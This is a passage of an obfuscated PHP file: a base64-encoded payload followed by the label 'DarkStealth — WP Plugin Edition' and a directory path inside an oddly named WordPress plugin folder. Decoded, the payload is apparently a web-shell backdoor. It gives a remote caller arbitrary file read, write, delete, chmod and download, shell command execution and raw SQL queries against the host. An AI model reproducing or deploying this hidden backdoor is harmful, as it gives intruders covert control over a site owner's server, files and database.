CAgICAgICAgICAkcGF0aCA9ICRkb2NSb290IC4gJy8nIC4gbHRyaW0oJHJlcVBhdGgsICcvJyk7CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZG9jUm9vdCAuICcvJyAuICRyZXFQYXRoOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBDbGVhbiBwYXRoCiAgICAgICAgICAgICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOwogICAgICAgICAgICBpZiAoISRwYXRoIHx8ICFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICAgICAgICAgIC8vIEZhbGxiYWNrIHRvIGRvY3Jvb3QgaWYgaW52YWxpZAogICAgICAgICAgICAgICAgJHBhdGggPSAkZG9jUm9vdDsgCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdvaycsICdkYXRhJyA9PiBsaXN0X2ZpbGVzKCRwYXRoKSwgJ2N1cnJlbnRfcGF0aCcgPT4gJHBhdGhdKTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2ZpbGVfcmVhZCc6CiAgICAgICAgICAgICRwYXRoID0gJHBhcmFtc1sncGF0aCddID8/ICcnOwogICAgICAgICAgICAvLyBJZiByZWxhdGl2ZSwgcHJlcGVuZCBkb2Nyb290PyAKICAgICAgICAgICAgLy8gQmV0dGVyIHRvIGhhbmRsZSBpbiBvbmUgcGxhY2UuIEJ1dCBmb3Igbm93IGxldCdzIGFzc3VtZSBGcm9udGVuZCBzZW5kcyB3aGF0IGl0IGdldHMgZnJvbSBsaXN0X2ZpbGVzIChhYnNvbHV0ZSkuCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdvaycsICdkYXRhJyA9PiByZWFkX2ZpbGVfY29udGVudCgkcGF0aCldKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIAogICAgICAgIGNhc2UgJ2ZpbGVfd3JpdGUnOgogICAgICAgICAgICAkcGF0aCA9ICRwYXJhbXNbJ3BhdGgnXSA/PyAnJzsKICAgICAgICAgICAgJGNvbnRlbnQgPSAkcGFyYW1zWydjb250ZW50J10gPz8gJyc7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdvaycsICdtZXNzYWdlJyA9PiB3cml0ZV9maWxlX2NvbnRlbnQoJHBhdGgsICRjb250ZW50KV0pOwogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgY2FzZSAnZmlsZV9kZWxldGUnOgogICAgICAgICAgICAkcGF0aCA9ICRwYXJhbXNbJ3BhdGgnXSA/PyAnJzsKICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ29rJywgJ21lc3NhZ2UnID0+IGRlbGV0ZV9maWxlKCRwYXRoKV0pOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZV9ta2Rpcic6CiAgICAgICAgICAgICRwYXRoID0gJHBhcmFtc1sncGF0aCddID8/ICcnOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnb2snLCAnbWVzc2FnZScgPT4gbWFrZV9kaXJlY3RvcnkoJHBhdGgpXSk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdmaWxlX3JlbmFtZSc6CiAgICAgICAgICAgICRvbGRQYXRoID0gJHBhcmFtc1snb2xkX3BhdGgnXSA/PyAnJzsKICAgICAgICAgICAgJG5ld1BhdGggPSAkcGFyYW1zWyduZXdfcGF0aCddID8/ICcnOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnb2snLCAnbWVzc2FnZScgPT4gcmVuYW1lX2l0ZW0oJG9sZFBhdGgsICRuZXdQYXRoKV0pOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZV9hcmNoaXZlJzoKICAgICAgICAgICAgJHNvdXJjZVBhdGggPSAkcGFyYW1zWydzb3VyY2VfcGF0aCddID8/ICcnOwogICAgICAgICAgICAkZGVzdFBhdGggPSAkcGFyYW1zWydkZXN0X3BhdGgnXSA/PyAnJzsKICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ29rJywgJ21lc3NhZ2UnID0+IGNyZWF0ZV9hcmNoaXZlKCRzb3VyY2VQYXRoLCAkZGVzdFBhdGgpXSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAKICAgICAgICBjYXNlICdmaWxlX2NobW9kJzoKICAgICAgICAgICAgJHBhdGggPSAkcGFyYW1zWydwYXRoJ10gPz8gJyc7CiAgICAgICAgICAgICRtb2RlID0gJHBhcmFtc1snbW9kZSddID8/ICcwNzU1JzsKICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ29rJywgJ21lc3NhZ2UnID0+IGNoYW5nZV9wZXJtaXNzaW9ucygkcGF0aCwgJG1vZGUpXSk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICd0b29sX3J1bic6CiAgICAgICAgICAgICR0b29sID0gJHBhcmFtc1sndG9vbCddID8/ICcnOwogICAgICAgICAgICAkdG9vbF9wYXJhbXMgPSAkcGFyYW1zWydhcmdzJ10gPz8gW107CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdvaycsICdkYXRhJyA9PiBydW5fdG9vbCgkdG9vbCwgJHRvb2xfcGFyYW1zKV0pOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZV9zdHJlYW0nOgogICAgICAgICAgICAkcGF0aCA9ICRwYXJhbXNbJ3BhdGgnXSA/PyAnJzsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOwogICAgICAgICAgICAgICAgLy8gV2Ugc2hvdWxkbid0IHJldHVybiBKU09OIGlmIHdlIGV4cGVjdCBhIHN0cmVhbSwgYnV0IGZvciBlcnJvciBoYW5kbGluZyBpdCdzIHRyaWNreS4KICAgICAgICAgICAgICAgIC8vIExldCdzIGp1c3QgZGllLgogICAgICAgICAgICAgICAgZGllKCJGaWxlIG5vdCBmb3VuZCIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIENsZWFyIGJ1ZmZlcgogICAgICAgICAgICBpZiAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLmJhc2VuYW1lKCRwYXRoKS4nIicpOwogICAgICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgICAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsKICAgICAgICAgICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJHBhdGgpKTsKICAgICAgICAgICAgcmVhZGZpbGUoJHBhdGgpOwogICAgICAgICAgICBleGl0OwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZGJfcXVlcnknOgogICAgICAgICAgICBpZiAoIUFMTE9XX0RCX1FVRVJZKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJEQiBRdWVyeSBkaXNhYmxlZCIpOwogICAgICAgICAgICAkc3FsID0gJHBhcmFtc1snc3FsJ10gPz8gJyc7CiAgICAgICAgICAgICRkYl9jb25maWcgPSAkcGFyYW1zWydkYl9jb25maWcnXSA/PyBbXTsKICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ29rJywgJ2RhdGEnID0+IHJ1bl9kYl9xdWVyeSgkc3FsLCAkZGJfY29uZmlnKV0pOwogICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiVW5rbm93biBhY3Rpb246ICRhY3Rpb24iKTsKICAgIH0KfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICBodHRwX3Jlc3BvbnNlX2NvZGUoNTAwKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAkZS0+Z2V0TWVzc2FnZSgpXSk7Cn0KCi8vIC0tLSBIZWxwZXIgRnVuY3Rpb25zIC0tLQoKZnVuY3Rpb24gZ2V0X3JlcXVlc3RfaGVhZGVycygpIHsKICAgICRoZWFkZXJzID0gW107CiAgICBmb3JlYWNoICgkX1NFUlZFUiBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgIGlmIChzdWJzdHIoJGtleSwgMCwgNSkgPD4gJ0hUVFBfJykgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgJGhlYWRlciA9IHN0cl9yZXBsYWNlKCcgJywgJy0nLCB1Y3dvcmRzKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdHJ0b2xvd2VyKHN1YnN0cigka2V5LCA1KSkpKSk7CiAgICAgICAgJGhlYWRlcnNbJGhlYWRlcl0gPSAkdmFsdWU7CiAgICB9CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9BUElfS0VZJ10pKSAkaGVhZGVyc1snWC1BUEktS0VZJ10gPSAkX1NFUlZFUlsnSFRUUF9YX0FQSV9LRVknXTsKICAgIHJldHVybiAkaGVhZGVyczsKfQoKZnVuY3Rpb24gZ2V0X3N5c3RlbV9pbmZvKCkgewogICAgcmV0dXJuIFsKICAgICAgICAncGhwX3ZlcnNpb24nID0+IHBocHZlcnNpb24oKSwKICAgICAgICAnb3MnID0+IFBIUF9PUywKICAgICAgICAnc2VydmVyX3NvZnR3YXJlJyA9PiAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10sCiAgICAgICAgJ2Rpc2tfZnJlZScgPT4gZGlza19mcmVlX3NwYWNlKF9fRElSX18pLAogICAgICAgICdkaXNrX3RvdGFsJyA9PiBkaXNrX3RvdGFsX3NwYWNlKF9fRElSX18pLAogICAgICAgICdtZW1vcnlfbGltaXQnID0+IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpCiAgICBdOwp9CgpmdW5jdGlvbiBsaXN0X2ZpbGVzKCRkaXIpIHsKICAgIGlmICghaXNfZGlyKCRkaXIpKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJEaXJlY3Rvcnkgbm90IGZvdW5kOiAkZGlyIik7CiAgICAkZmlsZXMgPSBzY2FuZGlyKCRkaXIpOwogICAgJHJlc3VsdCA9IFtdOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlID09PSAnLicgfHwgJGZpbGUgPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsKICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoKTsKICAgICAgICAkcmVzdWx0W10gPSBbCiAgICAgICAgICAgICduYW1lJyA9PiAkZmlsZSwKICAgICAgICAgICAgJ3R5cGUnID0+ICRpc19kaXIgPyAnZGlyJyA6ICdmaWxlJywKICAgICAgICAgICAgJ3NpemUnID0+ICRpc19kaXIgPyAwIDogZmlsZXNpemUoJHBhdGgpLAogICAgICAgICAgICAnbXRpbWUnID0+IGZpbGVtdGltZSgkcGF0aCksCiAgICAgICAgICAgICdwZXJtcycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwYXRoKSksIC00KQogICAgICAgIF07CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gcmVhZF9maWxlX2NvbnRlbnQoJHBhdGgpIHsKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJGaWxlIG5vdCBmb3VuZCIpOwogICAgLy8gTGltaXQgbGFyZ2UgZmlsZSByZWFkaW5nIHJlbW90ZWx5IHRvIGF2b2lkIHBhY2tldCBzaXplIGlzc3VlcyBvciBPT00KICAgIGlmIChmaWxlc2l6ZSgkcGF0aCkgPiAxMCAqIDEwMjQgKiAxMDI0KSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJGaWxlIHRvbyBsYXJnZSAoPjEwTUIpLiBVc2UgcGFydGlhbCByZWFkIChub3QgaW1wbCB5ZXQpLiIpOwogICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJHBhdGgpKTsKfQoKZnVuY3Rpb24gd3JpdGVfZmlsZV9jb250ZW50KCRwYXRoLCAkY29udGVudCkgewogICAgJGRlY29kZWQgPSBiYXNlNjRfZGVjb2RlKCRjb250ZW50KTsKICAgICRkaXIgPSBkaXJuYW1lKCRwYXRoKTsKICAgIGlmICghaXNfZGlyKCRkaXIpKSBta2RpcigkZGlyLCAwNzU1LCB0cnVlKTsKICAgIAogICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkZGVjb2RlZCkgPT09IGZhbHNlKSB7CiAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmFpbGVkIHRvIHdyaXRlIGZpbGUiKTsKICAgIH0KICAgIHJldHVybiAiRmlsZSB3cml0dGVuIHN1Y2Nlc3NmdWxseSI7Cn0KCmZ1bmN0aW9uIGRlbGV0ZV9maWxlKCRwYXRoKSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkgcmV0dXJuICJGaWxlIGFscmVhZHkgbWlzc2luZyI7CiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgIC8vIFJlY3Vyc2l2ZSBEZWxldGUKICAgICAgICAkZmlsZXMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigKICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QKICAgICAgICApOwogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZWluZm8pIHsKICAgICAgICAgICAgJHRvZG8gPSAoJGZpbGVpbmZvLT5pc0RpcigpID8gJ3JtZGlyJyA6ICd1bmxpbmsnKTsKICAgICAgICAgICAgJHRvZG8oJGZpbGVpbmZvLT5nZXRSZWFsUGF0aCgpKTsKICAgICAgICB9CiAgICAgICAgaWYgKCFybWRpcigkcGF0aCkpIHRocm93IG5ldyBFeGNlcHRpb24oIkZhaWxlZCB0byBkZWxldGUgZGlyZWN0b3J5Iik7CiAgICB9IGVsc2UgewogICAgICAgIGlmICghdW5saW5rKCRwYXRoKSkgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmFpbGVkIHRvIGRlbGV0ZSBmaWxlIik7CiAgICB9CiAgICByZXR1cm4gIkRlbGV0ZWQgc3VjY2Vzc2Z1bGx5IjsKfQoKZnVuY3Rpb24gbWFrZV9kaXJlY3RvcnkoJHBhdGgpIHsKICAgIGlmIChpc19kaXIoJHBhdGgpKSByZXR1cm4gIkRpcmVjdG9yeSBhbHJlYWR5IGV4aXN0cyI7CiAgICBpZiAoIW1rZGlyKCRwYXRoLCAwNzU1LCB0cnVlKSkgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmFpbGVkIHRvIGNyZWF0ZSBkaXJlY3RvcnkiKTsKICAgIHJldHVybiAiRGlyZWN0b3J5IGNyZWF0ZWQiOwp9CgpmdW5jdGlvbiByZW5hbWVfaXRlbSgkb2xkLCAkbmV3KSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRvbGQpKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJTb3VyY2Ugbm90IGZvdW5kIik7CiAgICBpZiAoIXJlbmFtZSgkb2xkLCAkbmV3KSkgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmFpbGVkIHRvIHJlbmFtZS9tb3ZlIik7CiAgICByZXR1cm4gIlJlbmFtZWQgc3VjY2Vzc2Z1bGx5IjsKfQoKZnVuY3Rpb24gY3JlYXRlX2FyY2hpdmUoJHNvdXJjZSwgJGRlc3QpIHsKICAgIGlmICghY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHRocm93IG5ldyBFeGNlcHRpb24oIlppcEFyY2hpdmUgZXh0ZW5zaW9uIG5vdCBpbnN0YWxsZWQgb24gYWdlbnQgc2VydmVyIik7CiAgICAKICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgaWYgKCR6aXAtPm9wZW4oJGRlc3QsIFppcEFyY2hpdmU6OkNSRUFURSB8IFppcEFyY2hpdmU6Ok9WRVJXUklURSkgIT09IFRSVUUpIHsKICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJDYW5ub3QgY3JlYXRlIHppcCBmaWxlIik7CiAgICB9CgogICAgJHNvdXJjZSA9IHJlYWxwYXRoKCRzb3VyY2UpOwogICAgaWYgKGlzX2Rpcigkc291cmNlKSkgewogICAgICAgICAkZmlsZXMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigKICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UsIFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICk7CgogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkbmFtZSA9PiAkZmlsZSkgewogICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAkZmlsZVBhdGggPSAkZmlsZS0+Z2V0UmVhbFBhdGgoKTsKICAgICAgICAgICAgICAgICRyZWxhdGl2ZVBhdGggPSBzdWJzdHIoJGZpbGVQYXRoLCBzdHJsZW4oJHNvdXJjZSkgKyAxKTsKICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJGZpbGVQYXRoLCAkcmVsYXRpdmVQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHppcC0+YWRkRmlsZSgkc291cmNlLCBiYXNlbmFtZSgkc291cmNlKSk7CiAgICB9CgogICAgJHppcC0+Y2xvc2UoKTsKICAgIHJldHVybiAiQXJjaGl2ZSBjcmVhdGVkIHN1Y2Nlc3NmdWxseSBhdCAkZGVzdCI7Cn0KCmZ1bmN0aW9uIGNoYW5nZV9wZXJtaXNzaW9ucygkcGF0aCwgJG1vZGUpIHsKICAgIC8vIE1vZGUgc2hvdWxkIGJlIG9jdGFsIHN0cmluZyBsaWtlICcwNzU1JwogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHRocm93IG5ldyBFeGNlcHRpb24oIlBhdGggbm90IGZvdW5kIik7CiAgICAkb2N0YWwgPSBvY3RkZWMoJG1vZGUpOyAvLyBjb252ZXJ0ICcwNzU1JyB0byBvY3RhbCBudW1iZXIKICAgIGlmIChjaG1vZCgkcGF0aCwgJG9jdGFsKSkgewogICAgICAgIHJldHVybiAiUGVybWlzc2lvbnMgY2hhbmdlZCI7CiAgICB9CiAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJGYWlsZWQgdG8gY2hhbmdlIHBlcm1pc3Npb25zIik7Cn0KCmZ1bmN0aW9uIHJ1bl90b29sKCR0b29sLCAkYXJncykgewogICAgaWYgKCFBTExPV19TSEVMTF9FWEVDKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJTaGVsbCBleGVjIGRpc2FibGVkIik7CiAgICBzd2l0Y2ggKCR0b29sKSB7CiAgICAgICAgY2FzZSAnZGlza191c2FnZSc6CiAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCdkZiAtaCcpOwogICAgICAgICAgICByZXR1cm4gWydvdXRwdXQnID0+ICRvdXRwdXRdOwogICAgICAgIGNhc2UgJ3dob2FtaSc6CiAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCd3aG9hbWknKTsKICAgICAgICAgICAgcmV0dXJuIFsnb3V0cHV0JyA9PiAkb3V0cHV0XTsKICAgICAgICBjYXNlICd1cHRpbWUnOgogICAgICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygndXB0aW1lJyk7CiAgICAgICAgICAgIHJldHVybiBbJ291dHB1dCcgPT4gJG91dHB1dF07CiAgICAgICAgY2FzZSAncHJvY2Vzc19saXN0JzoKICAgICAgICAgICAgJG91dHB1dCA9IHNoZWxsX2V4ZWMoJ3BzIGF1eCB8IGhlYWQgLW4gMjAnKTsKICAgICAgICAgICAgcmV0dXJuIFsnb3V0cHV0JyA9PiAkb3V0cHV0XTsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJVbmtub3duIHRvb2w6ICR0b29sIik7CiAgICB9Cn0KCmZ1bmN0aW9uIHJ1bl9kYl9xdWVyeSgkc3FsLCAkY29uZmlnKSB7CiAgICBpZiAoZW1wdHkoJGNvbmZpZykpIHRocm93IG5ldyBFeGNlcHRpb24oIkRCIENvbmZpZyBtaXNzaW5nIik7CiAgICB0cnkgewogICAgICAgICRkc24gPSAibXlzcWw6aG9zdD17JGNvbmZpZ1snaG9zdCddfTtkYm5hbWU9eyRjb25maWdbJ2RibmFtZSddfTtjaGFyc2V0PXV0ZjgiOwogICAgICAgICRwZG8gPSBuZXcgUERPKCRkc24sICRjb25maWdbJ3VzZXInXSwgJGNvbmZpZ1sncGFzcyddKTsKICAgICAgICAkcGRvLT5zZXRBdHRyaWJ1dGUoUERPOjpBVFRSX0VSUk1PREUsIFBETzo6RVJSTU9ERV9FWENFUFRJT04pOwogICAgICAgICRzdG10ID0gJHBkby0+cXVlcnkoJHNxbCk7CiAgICAgICAgcmV0dXJuICRzdG10LT5mZXRjaEFsbChQRE86OkZFVENIX0FTU09DKTsKICAgIH0gY2F0Y2ggKFBET0V4Y2VwdGlvbiAkZSkgewogICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkRCIEVycm9yOiAiIC4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICB9Cn0KPz4='));
?>
🌑 DarkStealth — WP Plugin Edition
Directory: /home/httpd/html/matrixmodels.com/public_html/wp-content/plugins/dypulyl